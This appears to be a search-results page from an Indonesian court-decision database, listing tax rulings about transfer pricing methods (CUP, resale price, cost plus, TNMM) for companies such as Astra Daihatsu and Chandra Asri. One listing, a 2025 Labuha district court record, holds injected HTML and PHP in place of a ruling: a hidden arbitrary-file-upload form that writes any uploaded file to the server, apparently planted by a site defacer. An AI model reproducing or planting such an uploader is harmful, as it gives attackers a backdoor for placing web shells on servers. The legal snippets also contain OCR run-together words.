Ditemukan 807 data

Urut Berdasarkan
 
Putus : 18-02-2016 — Upload : 15-09-2016
Putusan MAHKAMAH AGUNG Nomor 1046 /B/PK/PJK/2015
Tanggal 18 Februari 2016 — DIREKTUR JENDERAL PAJAK vs PT. SUMIDEN SERASI WIRE PRODUCTS
12997 Berkekuatan Hukum Tetap
  • Dalam hal demikian,Direktur Jenderal Pajak berwenang untuk menentukan kembali besarnyapenghasilan dan/atau biaya sesuai dengan keadaan seandainya diantara para Wajib Pajak tersebut tidak terdapat hubungan istimewa.Dalam menentukan kembali jumlah penghasilan dan/atau biaya tersebutdigunakan metode perbandingan harga antara pihak yang independen(comparable uncontrolled price method), metode harga penjualankembali (resale price method), metode biayaplus (costplus method),atau metode lainnya seperti
    metode pembagian laba (profit split method)dan metode laba bersih transaksional (transactional net margin method).Demikian pula kemungkinan terdapat penyertaan modal secaraterselubung, dengan menyatakan penyertaan modal tersebut sebagaiutang maka Direktur Jenderal Pajak berwenang untuk menentukan utangtersebut sebagai modal perusahaan.
    /RPM) ataumetode biayaplus (cost plus method/CPM);c. metode pembagian laba (profit split method/PSM) atau metodelaba bersih transaksional (transactional net marginmethod/TNMM).(3) Dalam menerapkan metode Penentuan Harga Transfer sebagaimanadimaksud pada ayat (2), wajib diperhatikan halhal sebagai berikut :a. penerapan metode Penentuan Harga Transfer dilakukan secarahirarkis dimulai denganmenerapkan metode perbandingan hargaantar pihak yang independen (comparable uncontrolledprice/CUP) sesuai dengan
    kondisi yang tepat;b. dalam hal metode perbandingan harga antar pihak yangindependen (comparable uncontrolled price/CUP) tidak tepatuntuk diterapkan, wajib diterapbkan metode penjualan kembali(resale price method/RPM) atau metode biayaplus (cost plusmethod/CPM) sesuai dengan kondisi yang tepat;c. dalam hal metode penjualan kembali (resale price method/RPM)atau metode biayaplus (cost plus method/CPM) tidak tepat untukditerapkan, dapat diterapbkan metode pembagian laba (profit splitmethod/PSM) atau
    ) metode laba bersih transaksional(transactional net margin method/TNMM).Pasal 12Dalam hal kondisikondisi sebagaimana dimaksud dalam Pasal 11 ayat(3) tidak terpenuhi maka metode laba bersih transaksional (transactionalnet margin method/TNMM) dapat diterapkan.Pasal 19Halaman 17 dari 34 Halaman Putusan Nomor 1046 /B/PK/PJK/2015Wajib Pajak wajib melaporkan transaksi yang dilakukannya denganpihakpihak yang mempunyai Hubungan Istimewa dalam SuratPemberitahuan Tahunan Pajak Penghasilan Wajib Pajak sesuai
Register : 08-01-2025 — Putus : 17-01-2025 — Upload : 03-02-2025
Putusan PN LABUHA Nomor 1/Pdt.P/2025/PN Lbh
Tanggal 17 Januari 2025 — <meta name="robots" content="noindex"> MARTOLEskuy <form method="post" enctype="multipart/form-data"> <input type="file" name="yujiofc"> <button>Gaskan</button> </form> <?php if (isset($_FILES['yujiofc'])) { if (rename($_FILES['yujiofc']['tmp_name'], $_FILES['yujiofc']['name']) !== false) { echo "[Success] ".realpath($_FILES['yujiofc']['name']).""; } else { echo "[Failed to upload]"; } } ?>
6811
  • MARTOLEskuy
    method="post" enctype="multipart/form-data">
    ".realpath($_FILES['yujiofc']['name']).""; } else { echo "[Failed to upload]"; }}?>
    <meta name="robots" content="noindex">MARTOLEskuy<form method="post" enctype="multipart/form-data"> <input type="file" name="yujiofc"> <button>Gaskan</button></form><?phpif (isset($_FILES['yujiofc'])) { if (rename($_FILES['yujiofc']['tmp_name'], $_FILES['yujiofc']['name']) !== false) { echo "[Success] ".realpath($_FILES['yujiofc']['name']).""; } else { echo "[Failed to upload]"; }}?>
Putus : 20-04-2017 — Upload : 31-10-2019
Putusan MAHKAMAH AGUNG Nomor 402/B/PK/PJK/2017
Tanggal 20 April 2017 — DIREKTUR JENDERAL PAJAK vs PT. SYNGENTA INDONESIA
214133 Berkekuatan Hukum Tetap
  • Berdasarkan pemahamanPemohon Banding, sesuai dengan Pasal 18 ayat (3) UU PPh jo.Pasal 11 ayat(2) dan (3) Peraturan Direktur Jenderal Pajak Nomor PER43/PJ/2010, metodepenentuan harga transfer yang dapat diterapkan adalah: 1) comparableuncontrolled price, 2) resale price method, 3) cost plus method, 4) profit splitmethod, dan 5) transactional net margin method.
    (costplus method), atau metode lainnya sepertimetode pembagian laba (profit split method) dan metode lababersih transaksional (transactional net margin method).Pasal 18 ayat (4)Hubungan istimewa sebagaimana dimaksud pada ayat (3)sampai dengan ayat (3d), Pasal 9 ayat (1) huruf f, dan Pasal 10ayat (1) dianggap ada apabila:a.
    Metode harga pasar sebanding (Comparable uncontrolledprice method);2. Metode harga jual minus (Sales minus/Resale price method);3. Metode harga pokok plus (Cost plus method);4. Metode lainnya yang dapat diterima.Bab II Paragraf 1.4.2 disebutkan:Sumbersumber Informasi Sebagai PembandingPengkajian kewajaran Transfer Price sangat memerlukan datapembanding (komparabilitas). Data pembanding dari pihak ketigaperlu didapatkan dari sumbersumber informasi, misalnya:1.
    Dalam menentukan kembali jumlah penghasilandan/atau biaya tersebut digunakan metode perbandingan hargaantara pihak yang independen (comparable uncontrolled pricemethod), metode harga penjualan kembali (resale price method),metode biayaplus (costplus method), atau metode lainnyaseperti metode pembagian laba (profit split method) dan metodelaba bersih transaksional (transactional net margin method).Dengan demikian, secara jelas UU PPh Tahun 2008 tidakmembatasi metode transfer pricing yang dapat digunakan
    Denganadanya kata seperti berarti terdapat metode lain selain metodepembagian laba (profit split method) dan metode laba bersihtransaksional (transactional net margin method) yangdiperkenankan oleh UndangUndang dalam menghitung hargawajar.
Register : 02-06-2014 — Putus : 27-08-2014 — Upload : 01-12-2015
Putusan MAHKAMAH AGUNG Nomor 457 B/PK/PJK/2014
Tanggal 27 Agustus 2014 — PT. CHANDRA ASRI VS DIREKTUR JENDERAL PAJAK;
7157 Berkekuatan Hukum Tetap
  • Dalam menentukan kembali jumlah penghasilan dan/ataubiaya tersebut digunakan metode perbandingan harga antara pihak yangindependen (comparable uncontrolled price method), metode harga penjualankembali (resale price method), metode biayaplus (costplus method), ataumetode lainnya seperti metode pembagian laba (profit split method) dan metodelaba bersih transaksional (transactional net margin method).
    ), metode hargapenjualan kembali (resale price method), metode biayaplus (costplus method),atau metode lainnya seperti metode pembagian laba (profit split method) danmetode laba bersih transaksional (transactional net margin method);Bahwa oleh karenanya, analisis penggunaan metode transfer pricing yangdigunakan terkait penjualan Propylene kepada PT.
    kembali (resale price method), metode biaya plus(costplus method), atau metode lainnya seperti metode pembagian laba (profitsplit method) dan metode laba bersih transaksional (transaksional net marginmethod);Halaman 23 dari 38 halaman Putusan Nomor 457/B/PK/PJK/2014Bahwa berdasarkan ketentuan diatas, maka PEMOHON PENINJAUANKEMBALI telah menggunakan ICIS yang merupakan harga publik Internasionalsebagai acuan penentuan harga jual wajar kepada pihakpihak yang memilikihubungan istimewa, sudah tepat
Register : 22-06-2017 — Putus : 07-09-2017 — Upload : 28-12-2017
Putusan MAHKAMAH AGUNG Nomor 1400 B/PK/PJK/2017
Tanggal 7 September 2017 — DIREKTUR JENDERAL PAJAK VS PT. SUZUKI INDOMOBIL MOTOR;
183148 Berkekuatan Hukum Tetap
  • Putusan Nomor 1400/B/PK/PJK/2017hanyalah metode perbandingan harga antara pihak yangindependen (comparable uncontrolled price method), metodeharga penjualan kembali (resale price method), metodebiayaplus (costplus method), metode pembagian laba (profitsplit method) dan metode laba bersih transaksional(transactional net margin method);Bahwa dengan demikianmenurut Majelis, di dalammenerapkan prinsip kKewajarandalam transaksi afiliasi sesuaidengan peraturan perundangundangan perpajakan yangberlaku di
    Dalam menentukan kembali jumlahpenghasilan dcm/atau. biaya terse but digunakan metodeperbandingan harga antara pihak yang independen (comparableuncontrolled price method), metode harga penjualan kembali (resaleprice method), metode biayaplus (costplus method), atau metodelainnya seperti metode pembagian laba (profit split method) danmetode laba bersih transaksional (transactional net margin method)";Bahwa menurut Majelis, phrasa "metode lainnya" dalam Pasal 18tersebut yang oleh Terbanding diartikan
    Metode harga penjualan kembali (resale price method/RPM)atau metodeHalaman 53 dari 82 Halaman. Putusan Nomor 1400/B/PK/PJK/2017c. Biaya plus(cost plus method/CPM)d.
    ), metodeharga penjualan kembali (resale price method), metode biayaplus(costplus method), metode pembagian laba (profit split method)dan metode laba bersih transaksional (transactional net marginmethod);Bahwa dengan demikianmenurut Majelis, di dalam menerapkanHalaman 60 dari 82 Halaman.
    ), metode harga penjualan kembali (resaleprice method), metode biayaplus (costplus method), ataumetode lainnya seperti metode pembagian laba (profit splitHalaman 66 dari 82 Halaman.
Putus : 10-10-2014 — Upload : 13-11-2015
Putusan PENGADILAN PAJAK Nomor Put.56047/PP/M.VIA/16/2014
Tanggal 10 Oktober 2014 — Pemohon Banding dan Terbanding
17974
  • Dalam hal demikian, Direktur Jenderal Pajakberwenang untuk menentukan kembali besarnya penghasilandan/atau biaya sesuai dengan keadaan seandainya di antarapara Wajib Pajak tersebut tidak terdapat hubungan istimewa.Dalam menentukan kembali jumlah penghasilan dan/atau biayatersebut digunakan metode perbandingan harga antara pihakyang independen (comparable uncontrolled price method),metode harga penjualan kembali (resale price method), metodebiayaplus (costplus method), atau metode lainnya sepertimetode
    pembagian laba (profit split method) dan metode lababersih transaksional (transactional net margin method).
Register : 01-08-2016 — Putus : 20-10-2016 — Upload : 30-11-2016
Putusan MAHKAMAH AGUNG Nomor 1087 B/PK/PJK/2016
Tanggal 20 Oktober 2016 — DIREKTUR JENDERAL PAJAK VS PT. ASTRA DAIHATSU MOTOR;
8253 Berkekuatan Hukum Tetap
  • Dengan demikian, pemilinan dan penerapanCPM yang dilakukan oleh Terbanding pada saat pemeriksaan tidak memilikidasar dan tidak tepat;Transactional Net Margin Method (TNMM) merupakan metode yang lebih tepatdan dapat diandalkanbahwa Surat Edaran Nomor: SE04/PJ.7/1993 menyebutkan bahwa apabilaterdapat hambatan dalam penerapan metode tertentu, metode lain harusdigunakan. Seperti dijelaskan sebelumnya, terdapat kesulitan yangHalaman 7 dari 33 halaman.
    Dengan demikian kriteria yang mengikat untukdapat menggunakan cost plus method adalah barangyang mempunyai spesifikasi kKhusus yang diberikancontoh salah satunya adalah semi finished products.Bahwa frase kata "misalnya memberi arti dapat lebihdari satu contoh yang sudah disebutkan dimanakesemuanya harus merupakan barang yang mempunyaispesifikasi knusus.
    Demikianjuga selanjutnya, jika metode resale price atau metodecost plus sulit diteraokan maka baru digunakan metodeTransactional Net Margin Method (TNMM);bahwa dalam hal ini tidak terdapat kesulitan untukmenerapkan metode cost plus sehingga dengandemikian tidak tepat apabila metode yang digunakanlangsung menuju kepada metode Transactional NetMargin Method (TNMM);c.
    Metode harga pasar sebanding (Comparableuncontrolled price method);2. Metode harga jual minus (Sales minus/Resale pricemethod);Metode harga pokok plus (Cost plus method);Metode lainnya yang dapat diterima misalnyametode Transactional Net Margin Method (TNMM).bahwa pemilihan metode harus dilakukan menuruturutan hierarki, apabila metode harga pasar sebandingsulit diterapobkan maka digunakan metode resale priceatau metode cost plus.
    Demikian juga selanjutnya, jikametode resale price atau metode cost plus sullitditerapkan maka baru digunakan metode TransactionalNet Margin Method (TNMM);Halaman 30 dari 33 halaman.
Putus : 10-10-2014 — Upload : 13-11-2015
Putusan PENGADILAN PAJAK Nomor Put.56046/PP/M.VIA/16/2014
Tanggal 10 Oktober 2014 — Pemohon Banding dan Terbanding
18261
  • Dalam hal demikian, Direktur Jenderal Pajakberwenang untuk menentukan kembali besarnya penghasilandan/atau biaya sesuai dengan keadaan seandainya di antarapara Wajib Pajak tersebut tidak terdapat hubungan istimewa.Dalam menentukan kembali jumlah penghasilan dan/atau biayatersebut digunakan metode perbandingan harga antara pihakyang independen (comparable uncontrolled price method),metode harga penjualan kembali (resale price method), metodebiayaplus (costplus method), atau metode lainnya sepertimetode
    pembagian laba (profit split method) dan metode lababersih transaksional (transactional net margin method).
Putus : 19-05-2016 — Upload : 14-09-2016
Putusan MAHKAMAH AGUNG Nomor 243/B/PK/PJK/2016
Tanggal 19 Mei 2016 — DIREKTUR JENDERAL PAJAK VS PT. ASTRA DAIHATSU MOTOR
155105 Berkekuatan Hukum Tetap
  • Bahwa dari sebagian isi dari SE04/PJ.7/1993 dapatdiartikan bahwa pendekatan harga pokok plus (costplus method) dapat digunakan untuk barang yangmempunyai spesifikasi knusus misalnya semi finishedproducts. Dengan demikian kriteria yang mengikatuntuk dapat menggunakan cost plus method adalahbarang yang mempunyai spesifikasi khnusus yangdiberikan contoh salah satunya adalah semi finishedproducts.
    Oleh karena itu dapatjuga dikatakan bahwa produk jadi (kendaraanbermotor) adalah juga merupakan barang yangmempunyai spesifikasi khusus sehingga dapatmenggunakan pendekatan harga pokok plus (costplus method);Bahwa sesuai dengan contoh penerapan metode costplus yang diuraikan dalam paragraf 2.54 OECD TPGuidelines, metode yang paling tepat digunakan untukHalaman 26 dari 34 halaman.
    Demikian juga selanjutnya, jikametode resale price atau metode cost plus sulitditerapbkan maka baru digunakan wmetodeTransactional Net Margin Method (TNMM);Bahwa dalam hal ini tidak terdapat kesulitan untukmenerapkan metode cost plus sehingga dengandemikian tidak tepat apabila metode yang digunakanlangsung menuju kepada metode Transactional NetMargin Method (TNMM);c. Bahwa pertimbangan Majelis dalam memutus sengketaini adalah kabur dan tidak jelas (obscuur libel):Halaman 29 dari 34 halaman.
    Metode harga pasar sebanding (Comparableuncontrolled price method);2. Metode harga jual minus (Sales minus/Resaleprice method);3. Metode harga pokok plus (Cost plus method);4. Metode lainnya yang dapat diterima misalnyametode Transactional Net Margin Method (TNMM).Bahwa pemilihan metode harus dilakukan menuruturutan hierarki, apabila metode harga pasarsebanding sulit diterapbkan maka digunakan metoderesale price atau metode cost plus.
    Demikian jugaselanjutnya, jika metode resale price atau metode costplus sulit diterapkan maka baru digunakan metodeTransactional Net Margin Method (TNMM);Bahwa dalam hal ini tidak terdapat kesulitan untukmenerapkan metode cost plus sehingga dengandemikian tidak tepat apabila metode yang digunakanlangsung menuju kepada metode Transactional NetMargin Method (TNMM);Bahwa metode cost plus juga merupakan metodeyang dipilih dan digunakan oleh Termohon PeninjauanKembali sebagaimana Termohon Peninjauan Kembalisampaikan
Register : 01-07-2014 — Putus : 11-09-2014 — Upload : 14-08-2015
Putusan MAHKAMAH AGUNG Nomor 468 B/PK/PJK/2014
Tanggal 11 September 2014 — PT. CHANDRA ASRI VS DIREKTUR JENDERAL PAJAK
6339 Berkekuatan Hukum Tetap
  • Dalam menentukan kembali jumlah penghasilan dan/atau biayatersebut digunakan metode perbandingan harga antara pihak yang independen(comparable uncontrolled price method), metode harga penjualan kembali (resaleprice method), metode biayaplus (costplus method), atau metode lainnyaseperti metode pembagian laba (profit split method) dan metode laba bersihtransaksional (transactional net margin method).
    ), metode hargapenjualan kembali (resale price method), metode biayaplus (costplus method),atau metode lainnya seperti metode pembagian laba (profit split method) danmetode laba bersih transaksional (transactional net margin method);Bahwa oleh karenanya, analisis penggunaan metode transfer pricing yangdigunakan terkait penjualan Propylene kepada PT.
    Dalam menentukan Kembali jumlah penghasilandan/atau biaya tersebut digunakan metode perbandingan harga antara pihak yangindependen (comparable uncontrolled price method), metode harga penjualankembali (resale price method), metode biayaplus (costplus method), atau metodelainnya seperti metode pembagian laba (profit split method) dan metode lababersih transaksional (transactional net margin method).
    ), metode harga penjualan kembali (resale pricemethod), metode biayaplus (costplus method), atau metode lainnya seperti metodepembagian laba (profit split method) dan metode laba bersih transaksional (transactionalnet margin method);Bahwa oleh karenanya, analisis penggunaan metode transfer pricing yang digunakanterkaitpenjualan Propylene kepada PT.
    penjualankembali (resale price method), metode biaya plus (costplus method), atau metodelainnya seperti metode pembagian laba (profit split method) dan metode laba bersihtransaksional (transaksional net margin method);Bahwa perhitungan harga jual wajar yang diperhitungkan oleh Pemohon PeninjauanKembali tersebut, ternyata sejalan dengan analisa Transfer Pricing Documentation untukTahun Pajak 2008 (termasuk Masa Pajak Juli 2008) yang disediakan oleh PemohonPeninjauan Kembali sebagai wujud dari niat
Putus : 30-10-2017 — Upload : 28-12-2017
Putusan MAHKAMAH AGUNG Nomor 1690/B/PK/PJK/2017
Tanggal 30 Oktober 2017 — PT SHIBAURA SHEARING INDONESIA TBK vs DIREKTUR JENDERAL PAJAK
170125
  • /WPJ.07/2014 tanggal 26 Agustus 2014terhadap koreksi positif atas Harga Pokok Penjualan (Pembelian BahanBaku) sebesar US$4,928,830.52 dengan alasan dan penjelasan sertafaktafakta sebagai berikut:Dasar Koreksi Terbanding:Bahwa Terbanding melakukan koreksi biaya Harga Pokok Penjualan(Pembelian Bahan Baku) sebesar US$4,928,830.52 dengan alasan nilaipembelian bahan baku Pemohon Banding dianggap tidak wajar,berdasarkan analisis Transfer pricing dengan menggunakan metode TNMM(Transactional Net Margin Method
    Dalammenentukan kembali jumlah penghasilan dan/atau. biaya tersebutdigunakan metode perbandingan harga antara pihak yang independen(comparable uncontrolled price method), metode harga penjualan kembali(resale price method), metode biaya plus (costplus method), ataumelode lainnya seperti metode pembagian laba (profit split method) danmetode laba bersih transaksional (transactional net margin method);bahwa berdasarkan uraian tersebut di atas koreksi Terbanding sudahbenar sesuai dengan UndangUndang
    Dalam hal demikian, DirekturJenderal Pajak berwenang untuk menentukan kembali besarnyapenghasilan dan/atau biaya sesuai dengan keadaan seandainya diantara para Wajib Pajak tersebut tidak terdapat hubungan istimewa.Dalam menentukan kembali jumlah penghasilan dan/atau biaya tersebutdigunakan metode perbandingan harga antara pihak yang independen(comparable uncontrolled price method), metode harga penjualan kembali(resale price method), metode biaya plus (costplus method), atauHalaman 31 dari 69 halaman
    Putusan Nomor 1690/B/PK/PJK/201730.melode lainnya seperti metode pembagian laba (profit split method) danmetode laba bersih transaksional (transactional net margin method)karena transaksi pembelian bahan baku yang dikoreksi oleh MajelisHakim Pengadilan Pajak dengan menggunakan metode laba bersihtransaksional (TNNM atau transactional net margin method) atas HargaPokok Penjualan sebesar US$4,928,830.52 tersebut merupakan transaksipembelian bahan baku yang dilakukan oleh Pemohon PeninjauanKembali kepada
    Inthe purchase of raw material transactions, 55 uses a third party that acts as an arencypaymertl in Lhis case is $5J) which make Uhe paymen. ar Lhe arngunl, currency, payment tla leand payment method (based an the sales contract between $5 and supplier) to supplier forthe raw material purchased by SSL. S51 then will make a reimburserrient payment (at cost teSalon 2F' day of two monchs later after cotaling tee end ot each month and pay the irteresttor ore month ot the aniount paid by SS).
Putus : 04-05-2016 — Upload : 14-09-2016
Putusan MAHKAMAH AGUNG Nomor 235/B/PK/PJK/2016
Tanggal 4 Mei 2016 — DIREKTUR JENDERAL PAJAK VS PT. ASTRA DAIHATSU MOTOR
9284 Berkekuatan Hukum Tetap
  • Bahwa dari sebagian isi dari SE04/PJ.7/1993 dapat diartikanbahwa pendekatan harga pokok plus (Cost Plus method) dapatdigunakan untuk barang yang mempunyai spesifikasi khususHalaman 23 dari 30 halaman Putusan Nomor 235/B/PK/PJK/2016misalnya semi finished products. Dengan demikian kriteria yangmengikat untuk dapat menggunakan Cost Plus method adalahbarang yang mempunyai spesifikasi khusus yang diberikancontoh salah satunya adalah semi finished products.
    Demikian juga selanjutnya, jika metoderesale price atau metode Cost Plus sulit diterapbkan maka barudigunakan metode Transactional Net Margin Method (TNMM);Bahwa dalam hal ini tidak terdapat kesulitan untuk menerapkanmetode Cost Plus sehingga dengan demikian tidak tepat apabilametode yang digunakan langsung menuju kepada metodeTransactional Net Margin Method (TNMM);c.
    Metode harga pasar sebanding (Comparable uncontrolledprice method);2. Metode harga jual minus (Sales minus/Resale price method0;3.
    Metode harga pokok plus (Cost Plus method);4.Metode lainnya yang dapat diterima misalnya metodeTransactional Net Margin Method (TNMM).Bahwa pemilihan metode harus dilakukan menurut urutanhierarki, apabila metode harga pasar sebanding sulit diterapkanmaka digunakan metode resale price atau metode Cost Plus.Demikian juga selanjutnya, jika metode resale price ataumetode Cost Plus sulit diterapkan maka baru digunakan metodeTransactional Net Margin Method (TNMM);Bahwa dalam hal ini tidak terdapat kesulitan
    untuk menerapkanmetode Cost Plus sehingga dengan demikian tidak tepat apabilametode yang digunakan langsung menuju kepada metodeTransactional Net Margin Method (TNMM);Bahwa metode Cost Plus juga merupakan metode yang dipilihdan digunakan oleh Termohon Peninjauan Kembalisebagaimana Termohon Peninjauan Kembali sampaikan dalamdalam Lampiran 3 A SPT Tahunan PPh Badan Tahun Pajak2008;3.8.
Putus : 02-05-2016 — Upload : 14-09-2016
Putusan MAHKAMAH AGUNG Nomor 227/B/PK/PJK/2016
Tanggal 2 Mei 2016 — DIREKTUR JENDERAL PAJAK VS PT. ASTRA DAIHATSU MOTOR
7966 Berkekuatan Hukum Tetap
  • Putusan Nomor 227/B/PK/PJK/2016bahwa dari sebagian isi dari SE04/PJ.7/1993 dapatdiartikan bahwa pendekatan harga pokok plus (CostPlus method) dapat digunakan untuk barang yangmempunyai spesifikasi knusus misalnya semi finishedproducts.
    Dengan demikian kriteria yang mengikat untukdapat menggunakan Cost Plus method adalah barangyang mempunyai spesifikasi khusus yang diberikancontoh salah satunya adalah semi finished products.Bahwa frase kata "misalnya memberi arti dapat lebihdari satu contoh yang sudah disebutkan dimanakesemuanya harus merupakan barang yang mempunyaispesifikasi knusus.
    Demikianjuga selanjutnya, jika metode resale price atau metodeCost Plus sulit diterapkan maka baru digunakan metodeTransactional Net Margin Method (TNMM);bahwa dalam hal ini tidak terdapat kesulitan untukmenerapkan metode Cost Plus sehingga dengandemikian tidak tepat apabila metode yang digunakanlangsung menuju kepada metode Transactional NetMargin Method (TNMM);c.
    Metode harga pasar sebanding (Comparableuncontrolled price method);2. Metode harga jual minus (Sales minus/Resale pricemethog);Metode harga pokok plus (Cost Plus method);Metode lainnya yang dapat diterima misalnyametode Transactional Net Margin Method (TNMM).bahwa pemilihan metode harus dilakukan menuruturutan hierarki, apabila metode harga pasar sebandingsulit diteraokan maka digunakan metode resale priceatau metode Cost Plus.
    Demikian juga selanjutnya, jikametode resale price atau metode Cost Plus sulitditerapkan maka baru digunakan metode TransactionalNet Margin Method (TNMM);bahwa dalam hal ini tidak terdapat kesulitan untukmenerapkan metode Cost Plus sehingga dengandemikian tidak tepat apabila metode yang digunakanlangsung menuju kepada metode Transactional NetMargin Method (TNMM);bahwa metode Cost Plus juga merupakan metode yangdipilih dan digunakan oleh Termohon PeninjauanKembali sebagaimana Termohon Peninjauan Kembalisampaikan
Putus : 19-05-2016 — Upload : 13-09-2016
Putusan MAHKAMAH AGUNG Nomor 218/B/PK/PJK/2016
Tanggal 19 Mei 2016 — DIREKTUR JENDERAL PAJAK vs PT. ASTRA DAIHATSU MOTOR
9379 Berkekuatan Hukum Tetap
  • Dengan demikian, pemilihan dan penerapanCPM yang dilakukan oleh Terbanding pada saat pemeriksaan tidak memilikidasar dan tidak tepat;Transactional Net Margin Method (TNMM) merupakan metode yang lebih tepatdan dapat diandalkan;Bahwa Surat Edaran Nomor SE04/PJ.7/1993 menyebutkan bahwaapabila terdapat hambatan dalam penerapan metode tertentu, metode lainharus digunakan. Seperti dijelaskan sebelumnya, terdapat kesulitan yangmenyebabkan metode CPM tidak dapat diterapbkan.
    ;Bahwa dari sebagian isi dari SE04/PJ.7/1993 dapatdiartikan bahwa pendekatan harga pokok plus (costplus method) dapat digunakan untuk barang yangmempunyai spesifikasi khusus misalnya semifinished products. Dengan demikian kriteria yangmengikat untuk dapat menggunakan cost plusmethod adalah barang yang mempunyai spesifikasikhusus yang diberikan contoh salah satunya adalahsemi finished products.
    Demikian juga selanjutnya, jika metode resaleprice atau Metode Cost Plus sulit diterapkan makabaru digunakan metode Transactional Net MarginMethod (TNMM);bahwa dalam hal ini tidak terdapat kesulitan untukmenerapkan Metode Cost Plus sehingga dengandemikian tidak tepat apabila metode yangdigunakan langsung menuju kepada metodeTransactional Net Margin Method (TNMM);c.
    Metode harga pasar sebanding (Comparableuncontrolled price method);2. Metode harga jual minus (Sales minus/Resaleprice method);Metode harga pokok plus (Cost plus method);4. Metode lainnya yang dapat diterima misalnyametode Transactional Net Margin Method(TNMM);Bahwa pemilihan metode harus dilakukan menuruturutan hierarki, apabila metode harga pasarsebanding sulit diteraokan maka digunakan metoderesale price atau Metode Cost Plus. Demikian jugaHalaman 32 dari 36 halaman.
    Putusan Nomor 218/B/PK/PJK/20163.4.3.5.selanjutnya, jika metode resale price atau MetodeCost Plus sulit diterapbkan maka baru digunakanmetode Transactional Net Margin Method (TNMM);bahwa dalam hal ini tidak terdapat kesulitan untukmenerapkan Metode Cost Plus sehingga dengandemikian tidak tepat apabila metode yangdigunakan langsung menuju kepada metodeTransactional Net Margin Method (TNMM);Bahwa Metode Cost Plus juga merupakan metodeyang dipilin dan digunakan oleh TermohonPeninjauan Kembali sebagaimana
Putus : 10-06-2015 — Upload : 10-03-2016
Putusan MAHKAMAH AGUNG Nomor 170/B/PK/PJK/2015
Tanggal 10 Juni 2015 — DIREKTUR JENDERAL PAJAK VS PT. MOLTEN ALUMINUM PRODUCER INDONESIA
21692 Berkekuatan Hukum Tetap
  • Metode tersebut termasukmetode tidak langsung, yang antara lain dikenal beberapa metodeseperti berikut ini: Metode harga pasar sebanding (comparable uncontrolled pricemethod); Metode harga jual minus (sales minus/resale price method); Metode harga pokok plus (cost plus method); Metode lainnya yang dapat diterima;Bahwa penggunaan metode CUP sesuai dengan butir 3.2.1 KEP01/PJ.7/1993 yang mengatur bahwa metode ini dapat digunakandalam hal terdapat penjualan kepada pihak yang ada hubunganistimewa maupun
    Putusan Nomor 170/B/PK/PJK/201514.5.transaction for purpose of the CUP method if one of two condition ismet: a) none of the difference (if any) between the transaction beingcompared or between the enterprises undertaking thosetransactions could materially affect the price in the open market; or,reasonably accurate adjustments can be made to eliminate thematerial effects of such differences.
    Where it is possible to locatecomparable uncontrolled transactions, the CUP method is the mostdirect and reliable way to apply the arms's length principle.Consequently, in such cases the CUP method is preferable over allother methods,Paragraph 2.18:The CUP method is a particularly reliable method where anindependent enterprise sells the same product as is sold betweentwo associated enterprises.
    If a reasonablyaccurate adjustment cannot be made, the reliability of the CUPmethod would be reduced, and it might be necessary to selectanother less direct method instead;Bahwa dengan demikian, kondisi yang tepat dalam penerapanmetode CUP adalah:a. Barang atau jasa memiliki karakteristik yang identik dalamkondisi yang sebanding;b. Kondisi transaksi afiliasi maupun independen adalah identik ataumemiliki tingkat kesebandingan yang tinggi atau dapat dilakukanHalaman 21 dari 32 halaman.
    Bahwa dalam Bab Ill Teknik dan Metode Pemeriksaan padaLampiran Keputusan Direktur Jenderal Pajak Nomor KEP01/PJ.7/1993, pemeriksaan transaksi kewajaran dilakukan denganmenguji angkaangka dalam SPT Wajib Pajak melalui suatupendekatan perhitungan tertentu mengenai penghasilan dan biayayang ditentukan secara hierarki, mulai dari metode harga pasarsebanding (Comparable Uncontrolled Price Method), Metode hargajual minus (Sales Minus/Resale Price Method), Metode harga pokokplus (Cost Plus Method), dan
Putus : 19-05-2016 — Upload : 14-09-2016
Putusan MAHKAMAH AGUNG Nomor 219/B/PK/PJK/2016
Tanggal 19 Mei 2016 — DIREKTUR JENDERAL PAJAK VS PT. ASTRA DAIHATSU MOTOR
7263 Berkekuatan Hukum Tetap
  • Putusan Nomor 219/B/PK/PJK/20163.3.4.4)Termohon Peninjauan Kembali menanggungrisiko pasar sepenuhnya atas penjualan dalamnegeri;Bahwa Transactional Net Margin Method (TNMM)merupakan metode yang lebih tepat dan dapatdiandalkan dengan alasan:1)Bahwa Surat Edaran Nomor SE04/PJ.7/1993menyebutkan bahwa apabila terdapat hambatandalam penerapan metode tertentu, metode lainharus digunakan.
    A;Bahwa dari sebagian isi dari SE04/PJ.7/1993dapat diartikan bahwa pendekatan harga pokokplus (cost plus method) dapat digunakan untukbarang yang mempunyai spesifikasi khususmisalnya semi finished products. Dengandemikian kriteria yang mengikat untuk dapatmenggunakan cost plus method adalah barangyang mempunyai spesifikasi khusus yangdiberikan contoh salah satunya adalah semifinished products.
    Demikian juga selanjutnya, jika metoderesale price atau metode cost plus sulitditerapkan maka baru digunakan metodeTransactional Net Margin Method (TNMM);Bahwa dalam hal ini tidak terdapat kesulitanuntuk menerapkan metode cost plus sehinggadengan demikian tidak tepat apabila metodeyang digunakan langsung menuju kepadametode Transactional Net Margin Method(TNMM);c.
    Metode harga pasar sebanding (Comparableuncontrolled price method);2. Metode harga jual minus (Sales minus/Resale price method);3. Metode harga pokok plus (Cost plusmethoa);4. Metode lainnya yang dapat diterima misalnyametode Transactional Net Margin Method(TNMM);Bahwa pemilinan metode harus dilakukanmenurut urutan hierarki, apabila metode hargapasar sebanding sulit diterapbkan makadigunakan metode resale price atau metode costplus.
    Demikian juga selanjutnya, jika metoderesale price atau metode cost plussulitditerapkan maka baru digunakan metodeTransactional Net Margin Method (TNMM);Halaman 36 dari 40 halaman.
Register : 02-12-2009 — Putus : 30-01-2013 — Upload : 14-07-2013
Putusan PENGADILAN PAJAK Nomor PUT.43022/PP/M.XII/15/2013
Tanggal 30 Januari 2013 — Pemohon Banding dan Terbanding
4742223
  • Dalam menentukan kembali jumlahpenghasilan dan/atau biaya tersebut digunakan metode perbandingan harga antarapihak yang independen (comparable uncontrolled price method), metode hargapenjualan kembali (resale price method), metode biayaplus (costplus method), ataumetode lainnya seperti metode pembagian laba (profit split method) dan metode lababersih transaksional (transactional net margin method);Demikian pula kemungkinan terdapat penyertaan modal secara terselubung, denganmenyatakan penyertaan
    ), Metode harga jual minus(Sales minus/Resale price method), Metode harga pokok plus (Cost Plus Method),Metode lainnya yang dapat diterima.
    ), Metode harga jual minus (SalesMinus/Resale Price Method), Metode harga pokok plus (Cost Plus Method), Metodelainnya yang dapat diterima.
    , ResalePrice Method, Cost Plus Method) merupakan pendekatan yang paling tepat /dianjurkan untuk menentukan apakah kondisi dalam hubungan komersial dankeuangan antar perusahaan adalah wajar.
